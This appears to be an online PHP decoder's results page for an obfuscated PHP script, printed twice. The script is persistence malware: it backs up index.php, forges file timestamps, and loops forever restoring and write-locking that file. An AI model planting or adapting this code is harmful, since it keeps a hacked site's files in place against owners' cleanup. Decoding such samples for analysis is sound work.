Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); ignore_user_abort(true); set_time_limit(0); $OOOOOO="qwertyui..

Decoded Output download

<?php error_reporting(0); 
ignore_user_abort(true); 
set_time_limit(0); 
$OOOOOO="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?> <.-=:/1230654879';()&^$[]\%{}!*|+,"; 
global $O; 
$O=urldecode($OOOOOO); 
 
define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__)); 
 
$oOoO=BASE_PATH.$O{63}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9}; 
$oOoOo=@file_get_contents($oOoO); 
$oOoOoO=@file_get_contents($O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9}); 
if($oOoOoO==""||$oOoOoO==null){file_put_contents($O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9},$oOoOo);$oOoOoOoOoOoOoOo=@opendir(dirname(__FILE__)); 
while($oOoOoOoOoOoOoOoO=@readdir($oOoOoOoOoOoOoOo)){if($oOoOoOoOoOoOoOoO!=$O{59} and $oOoOoOoOoOoOoOoO!=$O{59}.$O{59}){$oOoOoOoOoOoOoOoOo[]=date($O{31}.$O{53}.$O{25}.$O{53}.$O{12}.$O{57}.$O{41}.$O{62}.$O{7}.$O{62}.$O{11},filemtime(dirname(__FILE__).$O{63}.$oOoOoOoOoOoOoOoO));}}@closedir($oOoOoOoOoOoOoOo);@array_multisort($oOoOoOoOoOoOoOoOo);$oOoOoOoOoOoOoOoOoO=strtotime($oOoOoOoOoOoOoOoOo[0]);touch(__FILE__,$oOoOoOoOoOoOoOoOoO);touch(dirname(__FILE__).$O{63}.$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9},$oOoOoOoOoOoOoOoOoO);}$oOoOoOo=$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{6}.$O{59}.$O{9}.$O{15}.$O{9};$oOoOoOoO=BASE_PATH.$O{63}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};if(file_exists($oOoOoOoO)){$oOoOoOoOo=$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9};$oOoOoOoOoO=file_get_contents($oOoOoOoOo);while(1==1){if(file_exists($oOoOoOo)){@unlink($oOoOoOo);exit();}else{@unlink($oOoOoOoO);chmod($oOoOoOoO, 0777);@unlink($oOoOoOoO);file_put_contents($oOoOoOoO,$oOoOoOoOoO);$oOoOoOoOoOo=@opendir(BASE_PATH);while($oOoOoOoOoOoO=@readdir($oOoOoOoOoOo)){if($oOoOoOoOoOoO!=$O{59} and $oOoOoOoOoOoO!=$O{59}.$O{59}){$oOoOoOoOoOoOo[]=date($O{31}.$O{53}.$O{25}.$O{53}.$O{12}.$O{57}.$O{41}.$O{62}.$O{7}.$O{62}.$O{11},filemtime(BASE_PATH.$O{63}.$oOoOoOoOoOoO));}}@closedir($oOoOoOoOoOo);@array_multisort($oOoOoOoOoOoOo);$oOoOoOoOoOoOoO=strtotime($oOoOoOoOoOoOo[0]);touch($oOoOoOoO,$oOoOoOoOoOoOoO);chmod($oOoOoOoO,0444);usleep(1000000);}}};?>

Did this file decode correctly?

Original Code

<?php error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
$OOOOOO="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?> <.-=:/1230654879';()&^$[]\\%{}!*|+,";
global $O;
$O=urldecode($OOOOOO);

define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));

$oOoO=BASE_PATH.$O{63}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};
$oOoOo=@file_get_contents($oOoO);
$oOoOoO=@file_get_contents($O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9});
if($oOoOoO==""||$oOoOoO==null){file_put_contents($O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9},$oOoOo);$oOoOoOoOoOoOoOo=@opendir(dirname(__FILE__));
while($oOoOoOoOoOoOoOoO=@readdir($oOoOoOoOoOoOoOo)){if($oOoOoOoOoOoOoOoO!=$O{59} and $oOoOoOoOoOoOoOoO!=$O{59}.$O{59}){$oOoOoOoOoOoOoOoOo[]=date($O{31}.$O{53}.$O{25}.$O{53}.$O{12}.$O{57}.$O{41}.$O{62}.$O{7}.$O{62}.$O{11},filemtime(dirname(__FILE__).$O{63}.$oOoOoOoOoOoOoOoO));}}@closedir($oOoOoOoOoOoOoOo);@array_multisort($oOoOoOoOoOoOoOoOo);$oOoOoOoOoOoOoOoOoO=strtotime($oOoOoOoOoOoOoOoOo[0]);touch(__FILE__,$oOoOoOoOoOoOoOoOoO);touch(dirname(__FILE__).$O{63}.$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9},$oOoOoOoOoOoOoOoOoO);}$oOoOoOo=$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{6}.$O{59}.$O{9}.$O{15}.$O{9};$oOoOoOoO=BASE_PATH.$O{63}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};if(file_exists($oOoOoOoO)){$oOoOoOoOo=$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9};$oOoOoOoOoO=file_get_contents($oOoOoOoOo);while(1==1){if(file_exists($oOoOoOo)){@unlink($oOoOoOo);exit();}else{@unlink($oOoOoOoO);chmod($oOoOoOoO, 0777);@unlink($oOoOoOoO);file_put_contents($oOoOoOoO,$oOoOoOoOoO);$oOoOoOoOoOo=@opendir(BASE_PATH);while($oOoOoOoOoOoO=@readdir($oOoOoOoOoOo)){if($oOoOoOoOoOoO!=$O{59} and $oOoOoOoOoOoO!=$O{59}.$O{59}){$oOoOoOoOoOoOo[]=date($O{31}.$O{53}.$O{25}.$O{53}.$O{12}.$O{57}.$O{41}.$O{62}.$O{7}.$O{62}.$O{11},filemtime(BASE_PATH.$O{63}.$oOoOoOoOoOoO));}}@closedir($oOoOoOoOoOo);@array_multisort($oOoOoOoOoOoOo);$oOoOoOoOoOoOoO=strtotime($oOoOoOoOoOoOo[0]);touch($oOoOoOoO,$oOoOoOoOoOoOoO);chmod($oOoOoOoO,0444);usleep(1000000);}}};?>

Function Calls

set_time_limit 1
error_reporting 1
ignore_user_abort 1

Variables

$OOOOOO qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-

Stats

MD5 640ca8d21de7492478110b1ae89e7384
Eval Count 0
Decode Time 42 ms